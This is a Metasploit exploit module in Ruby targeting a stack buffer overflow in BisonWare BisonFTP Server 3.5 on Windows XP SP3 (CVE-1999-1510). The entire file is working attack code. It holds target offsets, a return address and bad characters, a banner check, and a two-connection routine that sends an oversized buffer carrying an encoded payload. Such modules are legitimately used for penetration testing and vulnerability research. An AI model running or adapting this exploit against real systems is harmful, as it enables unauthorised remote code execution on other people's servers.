## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'BisonWare BisonFTP Server Buffer Overflow', 'Description' => %q{ BisonWare BisonFTP Server 3.5 is prone to an overflow condition. This module exploits a buffer overflow vulnerability in the said application. }, 'Platform' => 'win', 'Author' => [ 'localh0t', # initial discovery 'veerendragg @ SecPod', # initial msf 'Jay Turla' # msf ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '1999-1510'], [ 'BID', '49109'], [ 'EDB', '17649'], [ 'URL', 'http://secpod.org/msf/bison_server_bof.rb'] ], 'Privileged' => false, 'DefaultOptions' => { 'VERBOSE' => true }, 'Payload' => { 'Space' => 310, 'BadChars' => "\x00\x0a\x0d", 'StackAdjustment' => -3500, }, 'Targets' => [ [ 'Bisonware FTP Server / Windows XP SP3 EN', { 'Ret' => 0x0040333f, 'Offset' => 1028, 'Nops' => 404 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 07 2011')) end def check connect_login disconnect if /BisonWare BisonFTP server product V3\.5/i === banner return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit connect print_status('Triggering the prompt for an unregistered product') sock.put('') print_status('Disconnecting...') disconnect print_status('Connecting for the second time to deliver our payload...') connect #connect for the second time buf = rand_text_alpha(target['Offset']) buf << payload.encoded buf << make_nops( (target['Nops']) - payload.encoded.length) buf << [target.ret].pack('V') print_status('Sending payload...') sock.put(buf) handler disconnect end end